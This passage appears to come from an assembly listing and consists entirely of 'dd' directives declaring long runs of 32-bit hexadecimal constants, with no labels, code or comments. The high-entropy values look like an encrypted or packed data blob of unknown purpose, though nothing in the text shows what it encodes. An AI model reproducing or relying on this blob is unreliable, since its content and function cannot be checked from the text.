20C5B012h, 2000E78Ch, 7A5D7BEh dd 1AD50E43h, 89E3615Ch, 91E7C242h, 0F2D6790Ch, 0E3E1468h dd 95526E03h, 7C14CDD3h, 426F0040h, 0B9154727h, 0E474FF64h dd 0DA516260h, 0B8C5Eh, 5AE683C4h, 1D19AF30h, 0FF41531Fh dd 0EB12E107h, 0EFC02B40h, 0DAC41758h, 0C6B609AAh, 0FA8F9180h dd 0C2036774h, 1CE255C3h, 0D5400B51h, 6A80C89Eh, 0F478BEAh dd 85C7AA00h, 5DDB9199h, 7644006Ch, 3B11457h, 590079A9h dd 0BFBBA5F3h, 128B91h, 175DD883h, 1D223253h, 3556581Fh dd 0BFCA7B04h, 0B2D8B8A1h, 55EE00E7h, 0C3BA577Fh, 912EF6C6h dd 8700219Fh, 8684E18Ch, 5F050F8Dh, 0C0DC1C62h, 6A68903h dd 0C4946B08h, 0A00415h, 0E3C685E8h, 0A9F7Eh, 0D5D0A135h dd 5D1C8175h, 4C97809Fh, 2A344EB8h, 38B0E147h, 0A90EAA0Bh dd 1D53E070h, 0F69C4097h, 611F5762h, 63919726h, 3878E780h dd 37306A8Fh, 0A641FC42h, 79008117h, 7FCD05BAh, 3D0149ACh dd 0B1006A10h, 0E7A64BBBh, 609A17F4h, 610FCA00h, 0D25F2E9Ch dd 0CAB17D6h, 8B65004Eh, 8393A8AFh, 0AA4A0900h, 0DBC61385h dd 2892FCh, 6B1D5036h, 4488597Fh, 8F1BBE00h, 0A0EB6D1Ch dd 0EA0D0496h, 8894306Ch, 4D1E6120h, 0B407842Ch, 0BAC7A1A9h dd 20EFEC4Fh, 0F5830C1h, 0D8558B28h, 3024B700h, 0DA62275Dh dd 0CED02CCh, 1A4D3407h, 40157884h, 610ACEB5h, 0EEA90339h dd 0C16512CBh, 0E920A08Ch, 0A72F370Eh, 0F930BDC3h, 0F29F3196h dd 0FD1B25EFh, 9201C8DEh, 0BB1DBC0h, 0F633C4E0h, 722158A4h dd 40B0A91Dh, 0E35F32ACh, 0C000905Bh, 9F3FA96h, 0B47D19h dd 8B3FC344h, 75CD76AEh, 0DC60A100h, 0A4E70597h, 614C03A6h dd 8E5CCCF0h, 0E0730CD9h, 260F92B8h, 40539D7Eh, 2837B50Eh dd 2AF5008Bh, 6C86CAA3h, 0A600432Dh, 30E7BCD1h, 5CD8C9h dd 0EFB3B171h, 0E9C77484h, 76F261Ch, 729CB2C0h, 0F44F19Eh dd 6B4B8C02h, 0CCD8FA00h, 6C00062Ch, 1093A178h, 1F1E2E7Ch dd 0B014F7h, 0C9AD6EEAh, 190037F8h, 0FE2AF041h, 71329BE9h dd 0B03C0097h, 9D4C8ABCh, 7C00182Dh, 0FF96B419h, 7DC47Eh dd 0CAD84A0Bh, 0DBAC3474h, 0FB590E07h, 83206F92h, 98DA35D0h dd 0DF7200C6h, 0CD2769C6h, 30323B5h, 561A93FBh, 28AAF03Dh dd 0C37E3CFCh, 0C0FC89Dh, 3D1939BEh, 0A25804A5h, 279B3EB0h dd 56007A3Eh, 2FE77895h, 0E000E326h, 426939DFh, 3D3A255h dd 77D0D163h, 29214199h, 0D79F0843h, 225DA2BDh, 571033C1h dd 4E11E439h, 5E0B11D4h, 4B40447Fh, 0E16D2284h, 4E111F42h dd 3B7F115Bh, 2964574Ch, 4DD22123h, 50825312h, 3724E24Eh dd 94460227h, 1125A703h, 21DDFC29h, 4582085Bh, 0E8C8DB90h dd 588EF90h, 0C94F46h, 417A1961h, 226B8FA9h, 4D302700h dd 0A5CEDD18h, 92EF00CFh, 977D2F04h, 0BE003928h, 0E5577C8Ch dd 1D2ADBE6h, 8033E7B7h, 366EC621h, 8E07DD0Ah, 16E20DF5h dd 0ACA0AB80h, 927D53h, 14E8857h, 9938E9DBh, 0E53D1FE6h dd 0D4358016h, 9A81EF8Eh, 81500D6h, 8922B86Ah, 9F26EA9Bh dd 0A7000137h, 9E1F74Dh, 46BA2EA8h, 0B08D145Ch, 0EB61D400h dd 887DC581h, 0A937AF05h, 0FA81CB26h, 8AE01B4Ah, 1A0C0048h dd 0EE8C1C0Fh, 4600AED8h, 92D5D3Ch, 90EE055h, 5468A540h dd 3F333C20h, 79038126h, 0C9A85697h, 30A998CFh, 7E0801BEh dd 19C3EE5Bh, 0F033205Dh, 8835DF00h, 0A0DE2C01h, 0CB6500A1h dd 0BFC4874Eh, 12FCBE92h, 0FD8939h, 6B9F4070h, 79C72FCh dd 0F378ED63h, 4C6E80B1h, 657ED068h, 0D905860h, 0F49C64h dd 0CF684FAh, 4C2DF939h, 99892B02h, 81410EDAh, 6FCB779Dh dd 0A2DDB880h, 0FCB04DB1h, 0CA43631Eh, 0F610ECC4h, 5EE097C0h dd 0E65A00D8h, 5474974Ah dd 3E057C07h, 0C20813B8h, 60C5E7C2h, 3E95DA62h, 5400D7A3h dd 83A766Bh, 3E004964h, 0D9BC1D9Ch, 0FA5CA4h, 0BA734701h dd 0C8CCA132h, 0E940F801h, 8B94C317h, 3ED7B4F4h, 0A00719DDh dd 0C3D34D2Dh, 27F04850h, 7F4C9B3Ah, 0C6040098h, 7B1BC8D0h dd 3DA1391Ch, 0D9C53380h, 84346B63h, 9782A00h, 0EFE9FBFAh dd 0C8600007h, 8DCEA497h, 4016D25h, 0E13F8480h, 30C00893h dd 5207CC1h, 0BFDDB826h, 3AEC0037h, 412D0134h, 8953A300h dd 7DB3C4B6h, 0B8470215h, 8DEAC762h, 900DA360h, 0B400C9EAh dd 6A2C3AE9h, 930E14Ah, 0F903BCCBh, 0D49DAE00h, 78908AF7h dd 63896A00h, 1BF0A039h, 7745011Eh, 748DEBB4h, 51B2802Bh dd 9A3F6726h, 0AF689h, 0C3062120h, 0B04BE9A1h, 0F2CF7001h dd 25846D9Fh, 0BC5EF4h, 3A93AEA8h, 0E261D7D5h, 0E410A760h dd 7455283Dh, 261F7DB5h, 809885BFh, 0F7023279h, 1C00F298h dd 9EDBB889h, 650D8Ch, 0FA7F0660h, 5FFCE4DCh, 8E892100h dd 3E2F9B12h, 0AC9A01F5h, 0A742E60Dh, 0EB1A60E0h, 0BDDE4A00h dd 982CF43Dh, 35E07Dh, 6D8264DBh, 7B4D1E6Fh, 2FA95102h dd 42ADDAB7h, 916C87E1h, 3A470C50h, 211D00BEh, 1654AE44h dd 0F200C0A9h, 0A1238FC5h, 8363CDh, 0D1A55BE0h, 6B5CFA4Bh dd 68869260h, 0EF2295h, 1B730694h, 47CB0515h, 2E762F74h dd 0D9D9200h, 89188F3Eh, 93B5A07Bh, 356717E3h, 249E1F6Dh dd 25AA0100h, 0F8ECE4Ah, 0FE3897A2h, 0BD4D1F28h, 0D70B0144h dd 0C46E12DEh, 0FD041A9Dh, 0F056749Ch, 0A789ACC0h, 4B390054h dd 0D3A47311h, 1EF67AE5h, 0CC1DBF00h, 8FBE52BAh, 91D001D5h dd 4B838C87h, 84C440A1h, 1000E4B9h, 3316BDAFh, 2992F5Dh dd 0BAC4CD48h, 19604387h, 9716AEB6h, 1FEB3F59h, 905C4037h dd 54478F5Fh, 0F1AA4B1Dh, 0F834A400h, 4679C51h, 0E142B2F6h dd 4FE7C090h, 0CF1E9168h, 98808BBDh, 645EA999h, 4DA985Fh dd 0AEFDCB41h, 6E00BF7Dh, 81884CC4h, 76FC7E26h, 2F3E0332h dd 0EF1FB6A6h, 10431E98h, 7EB8EE00h, 2E0ADDAFh, 3ECA3AD2h dd 3723A109h, 0BD72CA80h, 22009ABAh, 80FFB3B9h, 572696h dd 0D80B79D6h, 0A0A8AE4Dh, 0EB5B2C26h, 68B36C00h, 118E9Ah dd 862162BDh, 7DC1F3E6h, 74F79900h, 0F95C353Fh, 31C2006Eh dd 0A60B3B4Bh, 1B3A49F2h, 82700032h, 20D1DBBEh, 0BDB228D4h dd 29EB0FB8h, 0FE6F8B18h, 0BCE1DF40h, 2B007BF3h, 0CB55F0B5h dd 0FD7DA69h, 95F48AA0h, 0D0DB5BE0h, 197F2BDFh, 0FF091400h dd 8D5F9334h, 4B81C18h, 9F2980B7h, 0FC05614Ah, 37526600h dd 6D21D90Eh, 22930F7Ah, 0F4A03EBDh, 0E2D58911h, 5BCB5600h dd 7039C03Bh, 2C73009Fh, 0B4CD035Ch, 0F52E87ECh, 0BB98A5h dd 0AAB202AFh, 4038CFh, 0CD7FF2DAh, 0BDD7545Ah, 959E70Bh dd 981C023Fh, 0CA02E086h, 0F46D06AEh, 48B1084Ch, 502448h dd 946E1D69h, 0EF1E95Fh, 0F5835866h, 0C7E28EA4h, 0AB6FC000h dd 1700EF49h, 3DACED95h, 0EE04D46Ah, 5B0008Eh, 62D2316Dh dd 1F753E2Eh, 3B131900h, 4CCBC704h, 0FD480055h, 709AC38Dh dd 4B00E1E4h, 0A12126DAh, 2318580h, 37727B90h, 0BE80E3DCh dd 18576D0Bh, 33BDC900h, 1A5AEC3Eh, 0AD5807D3h, 0E0BF76AAh dd 0A72ADD5Ch, 6504321Fh, 0E900C9A4h, 0E8B9B331h, 8E0D1418h dd 9500E4C2h, 0BF2517A9h, 58004435h, 0E57094C5h, 0A45F6EFh dd 0AD809667h, 0B78A0388h, 0BE880286h, 53009765h, 0B66E19DEh dd 0FEF0BB69h, 0BCFF0408h, 0C81214D6h, 9700EC24h, 2331D55h dd 2C2F3Ah, 83667449h, 0A8DF53C4h, 77B09300h, 7901DE5Dh dd 0DA7731h, 1DE4B676h, 389785D9h, 7292B40Eh, 2A7F00CAh dd 0EF4EBDDh, 9EC771CFh, 4A805A4Bh, 0EE44AD97h, 7D001492h dd 0D86165C5h, 127159AAh, 5109DDh, 0CEE05767h, 1F007318h dd 0B31A94CFh, 3DC5627h, 0AF51D8B4h, 41B97BF0h, 608C0CEh dd 2C4DCF24h, 0F3129503h, 0B822BDD9h, 14DE411Eh, 60106DF8h dd 3464C287h, 0E0F7683Bh, 0B500F0D1h, 5EBBC4E9h, 73C5Dh dd 0AF8158EAh, 266EC24Fh, 0AA1FF473h, 0C8E405E9h, 5F464540h dd 0B08700D0h, 0C8B64BCAh, 4700C33Ah, 3078E1BCh, 0EEC6F6E4h dd 28F202FCh, 0E959D22Ch, 9AB479E0h, 37DB230Fh, 603AAF3Fh dd 0B86D111Eh, 5C90004Fh, 63E499BAh, 0EB009536h, 0B1E0477Ah dd 0C4FBB7h, 0C3AC15D4h, 3F27530Bh, 0B8BC4A00h, 6C25A139h dd 4C13F605h, 8A006572h, 35CAF649h, 2E00DEACh, 0A54BCDFFh dd 62B23Bh, 682427A7h, 85491C41h, 2BC7F700h, 0EAEF6F65h dd 0FF480F31h, 4A406977h, 27CEA1BFh, 2F417606h, 4C80B5E9h dd 0BD007517h, 50B6F373h, 9A0193C5h, 8F1E4FB1h, 0D3E42102h dd 0E4EF0067h, 11D8BC7h, 0E771AC2Bh, 0F8E3A10Eh, 0DB90623Ch dd 4242C0B3h, 886B6020h, 0AE06FCEEh, 22A8650Fh, 4EA5005Fh dd 0E12D7h, 1911FB21h, 20F0792Fh, 0CC7BB70Fh, 33BC67CBh dd 611BBEC0h, 0E6AB1D40h, 687AC0CAh, 0C0DA9481h, 0FB4B5B00h dd 4CC921F5h, 665900AEh, 37A2760Ah, 4703021Dh, 4F0531C3h dd 35600016h, 8C5B995Fh, 5700DB81h, 9104FC96h, 7215512Ah dd 0BC8D549Bh, 0EB721586h, 0A300A46Ah, 7E10B870h, 0F100F38Fh dd 0EEE8E67Bh, 575AEAh, 85CA093Eh, 7C8EA9F4h, 6FBAA100h dd 0E6E760E8h, 0E0DEFC15h, 92A30098h, 0D49CEC58h, 76004525h dd 8EE16535h, 2DDBC5Fh, 90549927h, 0C880C4BDh, 0A5AE7FCFh dd 8E262B00h, 0B5B83C07h, 61E80178h, 8DF5D92Ch, 0CF2F48Bh dd 0BE49F3Ch, 80D2F9C3h, 797E97B9h, 1F7B00EEh, 3C7691DDh dd 8E00B16Bh, 0B6BC15A0h, 0F6122F8h, 0E39D9733h, 0E600AEABh dd 1B3A2D32h, 993C5700h, 85C0224h, 84900074h, 58611C68h dd 78EE4CF7h, 8CA8C700h, 67D5FACAh, 7DA600CFh, 8896391h dd 0BB5AB229h, 0DD9FB0h, 1D44286Eh, 54B9AC34h, 9E118B00h dd 17C09C6Ah, 0D69B5818h, 0FE01C04Ch, 80D2EE35h, 0EFA4E1BEh dd 0FDD8B000h, 0AD1960C7h, 8D4D1E1Fh, 0CD738192h, 0D4C40698h dd 0F601D4A0h, 0E15CEED7h, 0C0EE7E65h, 7357Bh, 228693ABh dd 0C6E4BD55h, 0B7728F0Eh, 9712A0AFh, 0B5E3FCh, 0BB55DB7Bh dd 0DEF4AA35h, 0C88EB400h, 2EB8F6E2h, 0A3950067h, 0C15708F5h dd 0B9039E06h, 9B85EA05h, 3ACD34Dh, 544418C0h, 0EFA0644Ch dd 0AB2808B9h, 4A009437h, 8DA5D436h, 57EB4B7h, 2994CBC9h dd 86A44057h, 564360AEh, 0BD002390h, 0B5101AB2h, 1D992506h dd 39BEC952h, 0D20F713Bh, 1080C5D3h, 5CE4C058h, 9F746907h dd 6C003BF8h, 2A0BD9EEh, 3B85D2Dh, 9867A8D8h, 92F270ABh dd 0D2A640FFh, 76720025h, 51FD60B9h, 0C41FD6B4h, 1440D98Dh dd 0E7BC291h, 0D82A00B8h, 0FFD55CECh, 360A8C18h, 81FCA407h dd 7A85314h, 0F239DB6Eh, 0D05BE0DFh, 7DAC17h, 0A0DE0376h dd 275D20EDh, 70964C07h, 89FE2Ch, 38AB1816h, 0BEDCA071h dd 2AFFA85h, 35344D81h, 0A880B1DDh, 4AEC0DB0h, 19F5980h dd 0D86FA7E1h, 0C4A376C0h, 2D00E8D6h, 7AB8D26Ah, 7E103CF2h dd 0A0E90065h, 9707E7E5h, 0F607E389h, 56864AFh, 876258D0h dd 0F39600D6h, 6FD24FF8h, 0FC00B6E0h, 0E5016C24h, 1C99F1DCh dd 0E3F79E2h, 0E720B350h, 0BD086E8Bh, 87FF58h, 42CDBE76h dd 4858EB64h, 0D60074BFh, 17B49BA8h, 1B154C9Ah, 5F888A0h dd 9C2A0544h, 0BB47D000h, 5CF83F51h, 600013CAh, 0F49FDE79h dd 7700BA8Bh, 8250AE2Dh dd 75B212h, 0E5F93FB8h, 0A29B1CC6h, 0DB68931Ch, 604F690Fh dd 54A39279h, 21DD3F8Ch, 0FB6A2680h, 38462AF3h, 0E7D0B700h dd 0AFA89D98h, 4F910088h, 24A609A9h, 48000E96h, 9EB39953h dd 0E85415h, 0B8EA2165h, 0DFEF730Dh, 0F0C30A28h, 0D3B35C00h dd 15B4A406h, 0D930C09Eh, 6E7D46FCh, 1A923E01h, 0CDC86CF4h dd 9E5E4E4h, 8209C095h, 608AE807h, 0CB5985ABh, 0E93B1500h dd 8443945Dh, 3C99BFh, 7731200Eh, 14003BA1h, 6F73C6A6h dd 408783Eh, 3D594249h, 0B444C203h, 0E0705941h, 0FC7CA983h dd 0FA4BBC00h, 892C37C9h, 4195004Ah, 0CB302705h, 0CA3E7BE5h dd 64F0081h, 42169661h, 17C5001Ch, 26A904Bh, 0EC07276Fh dd 9E1E93B6h, 630E1430h, 42C45CB2h, 0E9805300h, 0C8F73040h dd 0D2BC7702h, 80547F4Bh, 0FF55CD8Ch, 0AC6900B1h, 0EDEC060h dd 25009DC6h, 752CBD6Bh, 7B499CC7h, 45EC44h, 62F4F377h dd 0FB479689h, 0AB1E6A09h, 66B700AFh, 4C8117ECh, 6C00788Dh dd 6022E9A6h, 0EE26D430h, 0AB82963Ch, 62D53878h, 0C81C40D2h dd 19B7006Bh, 0C372660Eh, 5300AD10h, 7F45115Ch, 0B6DF4Fh dd 5788B16Ah, 56C25A04h, 1CCEAE00h, 65085BFFh, 44CF004Ah dd 0F1EA31BEh, 523EAC29h, 74D880C4h, 0A83DDB69h, 75441D6Ah dd 462DC06Fh, 0CE6B7A31h, 2B9AF81Fh, 3D02B7C1h, 118093E3h dd 7AB5E0F5h, 0F0057DCFh, 0BB654BDFh, 74399802h, 8546879h dd 0E71C00E1h, 0FA942550h, 1B018F8Ah, 92B4C7Dh, 6DB90A8h dd 0A0F9A228h, 0F503F122h, 94B672F8h, 0B211D951h, 13A438F0h dd 0D5A2F6h, 737B195Eh, 59039D92h, 9F2C3F55h, 0D3A5C8D7h dd 637B53h, 6DF7EE67h, 0FBA9575Ch, 76880C00h, 634F8D55h dd 4E874CCBh, 166B11Dh, 8034AE96h, 897C3092h, 0BD8F2108h dd 3F20051h, 0F63C5B55h, 983BE500h, 0F732FA97h, 741F0039h dd 0CDC47DD6h, 0A7000118h, 48B7E58Fh, 312FFB1h, 8DAC23EDh dd 7F9C593h, 47CE20D8h, 47CAF4Ch, 4B55B00Ch, 0FC63EF00h dd 0A000413Fh, 6A36C024h, 1F5A8E31h, 806BFEC1h, 2A9BCC1Bh dd 3800BBDBh, 5D7CAFEDh, 79FD091Ah, 6AAD0314h, 5297C0FCh dd 64683BB2h, 0AC994B46h, 4FA15B80h, 1304E96Dh, 8C131Ah dd 47634D5Ch, 4000ED7Ch, 0FDAEBF90h, 0B11CB68h, 0EE73F75Dh dd 5B148Ah, 89C17D97h, 550075A0h, 0C233109Ch, 7065DC38h dd 12E47C1Ch, 133983h, 71BBD1F0h, 11C1968Bh, 0F1CAE3CDh dd 5CC3A3C4h, 0BC0336E6h, 46455763h, 0D6155D88h, 4B2C1400h dd 0F9951DB1h, 2376E9h, 0EA5C3B81h, 34BAE356h, 364F41F8h dd 0D13B08E8h, 9C5FD705h, 9ED80704h, 1B2D80CEh, 6C0B5917h dd 9050EB2h, 5E988079h, 4830D0C2h, 0E50134B3h, 71EAE468h dd 0A0F09374h, 0D4F3E302h, 0B064606Ah, 892B00A7h, 58C729E1h dd 5D500F8Dh, 0B30079ACh, 0D9FEF6B2h, 0CB6715h, 8F913101h dd 7539B9B1h, 30E0A2E6h, 0B7F3C528h, 8089E73Bh, 0F229FAECh dd 17E3A9EAh, 0C8ED96h, 6F51154h, 6704D052h, 0B4DAD273h dd 58E72FC0h, 70B60564h, 0C0F6C41Dh, 93610241h, 0A40F4705h dd 18807B36h, 43F069h, 0B12D974Fh, 0A14926F3h, 3747392Ch dd 712BAD01h, 0D0205537h, 0F7F065h, 0D709C1EAh, 0BB691307h dd 0C89DE63Fh, 3F6F0049h, 1E3D30F4h, 6BDC0EE8h, 35404CFBh dd 46B4C21Dh, 0C704C600h, 13DE4929h, 8ADA2690h, 1D140268h dd 0F1C1E51h, 0FC27DECCh, 44CB2DE2h, 0CEBD4C61h, 303AC8A4h dd 60F080h, 0C6950A1Dh, 144BF628h, 8A6C9802h, 0E0530C22h dd 602C04E9h, 43103905h, 9F4D8146h, 3DB50218h, 50BC5855h dd 38C5012Ch, 18E6EEE2h, 0A8B4F0D1h, 513581C2h, 75844925h dd 1CA5B860h, 40DA2C6Fh, 0D603F4B3h, 0CB12BE7Fh, 230F3149h dd 6577C10Ch, 782002C2h, 0F9AF14B4h, 7400D04Eh, 5C291CC8h dd 0B2001E04h, 0E2A1C067h, 8C77BBh, 34C56EDAh, 0D1DC7406h dd 6F3638h, 73937FDFh, 10B71C6h, 0A4E44C7Ch, 0FA786A10h dd 0B8DB8160h, 36A9E800h, 352C5AEAh, 4BA109FBh, 0F4407A2Eh dd 0B6004EE7h, 0A4F8D762h, 202B81h, 618D51EAh, 5F11BE55h dd 1D7D220Fh, 0D34CE037h, 1FE27B62h, 96704E2Fh, 49144073h dd 0F1AF2B9Dh, 99005C99h, 62368B27h, 3B670095h, 85B770EEh dd 0C1785D09h, 8D38F000h, 1322D35Eh, 6C870002h, 48FF86CBh dd 5400089Ah, 1692771Eh, 93AAFB9Eh, 9BC50004h, 0D8706FBAh dd 66B98C1Dh, 52991903h, 8D1290B8h, 0E3A000F4h, 0EA3A2B2Dh dd 6090BA22h, 78A8CF00h, 923BD5CAh, 0AA6100FBh, 6C16A5FEh dd 4896ECEFh, 2600C912h, 0D6E1145h, 0E64900DBh, 523F5776h dd 9639644Fh, 9C040079h, 0F8BCCE65h, 45A50153h, 0E56E1E56h dd 74C1F28Eh, 0F85D71DAh, 55035781h, 8F9E4397h, 0BD8CE018h dd 490D5h, 754B7E77h, 5B354858h, 0B0A75300h, 0A5F64DC4h dd 2D8500AFh, 5C2F6989h, 1601C010h, 56CEEB09h, 61DA0DDBh dd 4300E95Ch, 9500105Ah, 238E13Fh, 7557ECh, 36BC8896h dd 52DB24B4h, 2B3F6B00h, 0CAE14A08h, 411B1C15h, 0EF61C0B8h dd 591658C6h, 0BE0700B2h, 0F4D8FB49h, 4E41E34h, 9BB200E6h dd 2B1AE367h, 0AC007675h, 4A9E3AF4h, 3955B9h, 0BAD5C06Eh dd 22A21DEAh, 0C40E5A00h, 36F168BBh, 7D30026h, 94DBAE7Ch dd 6FE48085h, 12C1FC00h, 0A746E8Ah, 62CF13B8h, 0F6104006h dd 2714C51Bh, 0FEA23209h, 4CB88711h, 3A5EF2E0h, 29740102h dd 2254E199h, 9777DCA2h, 43B11500h, 0D0D8D4A9h, 5F570371h dd 0EF16501h, 2D8B61F8h, 46FE9C0h, 0AA355Eh, 73A3F0Ah dd 6B58FB37h, 0FF5B6200h, 0A3E394E0h, 0CFB41E8Eh, 5C040130h dd 0CC1F4391h, 680937E9h, 0F72F64F2h, 1E671CE0h, 7AA83401h dd 447503D4h, 98E9E5E8h, 920D0788h, 2017CC52h, 3245D195h dd 0CD9F441Dh, 55B57E47h, 0BCE69134h, 3C376000h, 0DDA8D828h dd 0CEB20500h, 957A237Eh, 3ED30998h, 7002475Fh, 20C6F208h dd 30F6D226h, 0CC1AC500h, 2C433D0Ah, 9644D681h, 0D0F02062h dd 6498886Ch, 8CC66D0Bh, 548C834Ah, 0B58800D9h, 2C215C42h dd 3D0277F9h, 17D2D324h, 88A063A5h, 0EF4328h, 0B11DE720h dd 412F4E7Fh, 0DAC6580Bh, 0E42E0007h, 1D2A2311h, 802B7CADh dd 25927430h, 24E6C403h, 0D26E7501h, 1310E23Bh, 0A348D4h dd 514719A5h, 0BCF9FAAEh, 62DC1400h, 11ED4B7Dh, 90890FE9h dd 2A0D0EEh, 749227B7h, 1EFFCA1Eh, 70A9D2C0h, 834F31h dd 54EB3A69h, 6F9BAD8Dh, 0A83F1400h, 0EE1979Eh, 7B5600BAh dd 5F9CF6DFh, 44023110h, 0FA35E9E3h, 0AD3440B2h, 0BC0F03A5h dd 20094DFEh, 605502B2h, 48C2E4F2h, 0B01F573h, 288BF627h dd 856030C9h, 4400D890h, 0D8D37975h, 9036ECA9h, 58CB0354h dd 7D21CFA1h, 0A39E3BE8h, 0D602B57Dh, 37F99FE8h, 1CF0E0C4h dd 6A6540C0h, 57A50B1Eh, 0E4042DFh, 3E9A2272h, 0E9E200C4h dd 0A75B8D09h, 0D839D947h, 2A1700ACh, 23144A34h, 52F00B4h dd 53F39CE0h, 8D00301Ch, 2C90599Eh, 2CDFD20h, 3C586335h dd 2049A486h, 0F82991h, 0ECBC1A0Eh, 1EAF8A78h, 8E8214EFh dd 0CEA06098h, 5B534BB3h, 77739500h, 17F9565Eh, 0C6FD0040h dd 0F5FB6282h, 0B700CCA5h, 73AF29ABh, 9F48CC0h, 0B2774CE9h dd 802A9081h, 33C0EE65h, 9CB86F7Fh, 0D27EA904h, 0ACE13244h dd 3F86C4C0h, 93801BE4h, 68F7ABE3h, 0D249D67h, 2E006470h dd 0B5B37F81h, 0B23E00E9h dd 296B1DD2h, 2100FA5Ah, 0BD6AC295h, 0A5B994h, 0A220F08Fh dd 61586226h, 0FFB82F00h, 0AC2BE4EEh, 0F69F70D7h, 2AE70002h dd 1D9E67A8h, 0A20424FBh, 3909DFF0h, 5D5F78E0h, 421334EFh dd 0E9B44B28h, 0C86C8048h, 0A5084503h, 3C8331E4h, 9E0355D8h dd 0C7B7587Eh, 5C34859Ch, 0B0DB0EC4h, 0FE17DD40h, 610126B5h dd 0F4F3A009h, 68C584h, 0D7A1A906h, 112E8AF7h, 0CCB88CB1h dd 0E86A0081h, 96145120h, 0F6720009h, 0EB258D4Fh, 0C77D8F5h dd 0A2077571h, 0D20D908Ch, 8F083F42h, 0F69F018Ch, 0E070A895h dd 0C986035Fh, 0DF4D7081h, 48C711C0h, 0DBE8F50Eh, 0FEAEC06Eh dd 4EB3BACEh, 0E3600010h, 9491471Dh, 9D2AED02h, 81401689h dd 17C008DCh, 83699043h, 0FB90873Dh, 37304F3h, 0AC2E6BD0h dd 69C0017Eh, 0C20058FDh, 6A665164h, 2C218E3Eh, 0F50556Fh dd 0CE20C67Eh, 0E5C29F7Dh, 70DCBF0Bh, 49CF8018h, 0BEF093h dd 55E0B54Ch, 0C21A739Eh, 3507ED00h, 0FC961D9Ch, 39F90030h dd 4A153A1Fh, 130508FFh, 5B2DBFAEh, 29A2008Fh, 86D1A83Bh dd 0D6ED003Ch, 8E1958DEh, 3B707BCEh, 0C700A7F6h, 0F16742ECh dd 0BAEDF27Eh, 64190144h, 1C8E8201h, 9104245Ch, 0B33F9900h dd 268C386Bh, 2C8F00EDh, 33FD8A23h, 0C90A2EE7h, 0D4D8254Dh dd 80505200h, 73ECE42Dh, 907BFE03h, 6F4100E4h, 0B05D6B31h dd 301E8FFCh, 7A405369h, 0C650D492h, 163F7865h, 83A82E2Dh dd 3D099ACh, 106063F5h, 5FD30119h, 5BC00721h, 1081D8DBh dd 0EB4E4436h, 9EDFEF09h, 109824EAh, 3FD5E4A4h, 9CAC5683h dd 99E00038h, 6D94962Ah, 1FCAEE0Ch, 0B318A3h, 0BF13DB15h dd 5B36D380h, 83915500h, 9E3DB8C2h, 0B280011h, 0B46A5C38h dd 6624D2FEh, 0CD000CECh, 0E2CC3080h, 57E40313h, 1EFC217h dd 0E8A4D0A1h, 0B9048953h, 0A699CB70h, 8B689580h, 450909Dh dd 198A662Ah, 4B0C806Ah, 2125320Fh, 0D35CA5C6h, 1FAD9CE0h dd 837CEC9Eh, 0C03A8FEBh, 29C027EBh, 6F00A561h, 53ED9994h dd 58F65Ch, 0AA2E370Bh, 33F2438Dh, 0C086A80Bh, 730C91E7h dd 7CB4DCC8h, 119001C6h, 939BA946h, 0E46376h, 424E08BCh dd 0F1B68h, 0AB87F622h, 0C20D7119h, 8B3B1600h, 0A431EC5Dh dd 90BC1C95h, 0CADC394h, 8898BADCh, 0F10A960Ah, 0A08FAB24h dd 9DC1FA04h, 52F04080h, 4F6E0ADFh, 9F023A7h, 8881565Bh dd 0C0EF8EFAh, 0ED0F9045h, 806DC201h, 5612C604h, 302D035Ch dd 497086D4h, 6723FDB0h, 0AD7B4007h, 0EC01921Dh, 0E1D86B45h dd 31F60E25h, 820FC016h, 0BC73BFC0h, 7F0094CFh, 69CC1B3Ch dd 30830h, 5545F304h, 0C3FBC8A7h, 941EB61Fh, 0CADCC000h dd 0EAD79311h, 0A7F443h, 6FEAAB80h, 0A2E122B9h, 5FA03700h dd 0BDC89D0Ch, 497EA5h, 4D847007h, 4602668Bh, 0FF023CB0h dd 1ED35DD8h, 0FB037DE1h, 0B0018EABh, 31677B80h, 1AD8FA98h dd 918F074Bh, 27CDFAFh, 80FDD1EEh, 1B10542Bh, 0C4E10021h dd 0C87DA8DCh, 1EFAC668h, 9D01247Bh, 26888593h, 6430DA5Ah dd 0AA11009Bh, 1AFFF5F9h, 350EF7BAh, 9D4ABB94h, 7B72DC0h dd 0AFFC05h, 31D08860h, 927B34FEh, 2EB21900h, 0B5A61415h dd 0D3ED03D8h, 0DA2B16CFh, 3B67D4D8h, 9F708A00h, 0A88D522Eh dd 144039AEh, 40DD279Fh, 0CEA5B57Bh, 0FC3AC432h, 0E40881F7h dd 6322E6CDh, 0F6F3E4h, 302B96B9h, 0AEAA5415h, 3DE79C0Bh dd 0E2000008h, 6642A3h, 1B1F3789h, 0C6D5819Bh, 0E6FECD24h dd 7E59E900h, 992E09h, 98A05AE7h, 6E1893E8h, 441FAA73h dd 268069C4h, 3B68AD04h, 280EE97h, 0C89ADE01h, 0B840752Ah dd 0FD0025E4h, 1679B69Fh, 4B1E32h, 0CC5E2CFFh, 21DAA8D0h dd 0A005ECB2h, 57C5C47Dh, 282CE0A1h, 40F1A81Eh, 6C6F27B9h dd 0DA0051CCh, 40BB4E9Bh, 0B8F238F0h, 0EFD21E70h, 10B0C50h dd 51018F11h, 0EA26D1C3h, 8474B92Fh, 710E363Ah, 59003299h dd 5A20E638h, 0D38A95h, 89B4B1B2h, 7EC31477h, 83500403h dd 0EFDDB525h, 4281BD70h, 0FF54004Ch, 8C8DEC4Fh, 0BC00E152h dd 5908F5E4h, 4CAF67h, 174FC7CCh, 43EA22D2h, 423840A0h dd 82877101h, 6A9BF8E0h, 7A6FB0D3h, 0A31400FFh, 1AFC1EA5h dd 960F485Dh, 0E77C62B5h, 0FDA185F3h, 6E7023A0h, 0C4800E9Eh dd 20807116h, 0B7842DE1h, 8D0F6700h, 624B68E6h, 1E730039h dd 2B81BCC5h, 0B648103Dh, 48CE0F4Ch, 8215A0FBh, 3DD5FE13h dd 0ED80C157h, 5BB76042h, 0B43A48E6h, 0E007E9Ah, 9701B9C8h dd 4C44056Bh, 0FF057D3Ah, 9418B6h, 6F343188h, 0AA3CE44Eh dd 0B3E96701h, 0D46CEB81h, 3B5D1180h, 37D2291Ch, 39EC510Ah dd 4D18A0BFh, 96F821h, 2B05651Ch, 7898E092h, 0A00A7F8h dd 55CA5E1Ah, 0AF66FD6h, 0F01595BCh, 685C03B8h, 0D1D843A2h dd 700EE0B1h, 8CDFFA85h, 0B98909h, 39984386h, 4BB1F8D6h dd 0D70D02E2h, 0B0E23B7Dh, 80EDA891h, 0D2231C51h, 61448CA7h dd 1CB400FAh, 88B6E5C1h, 21249FE6h, 7F9D284Ch, 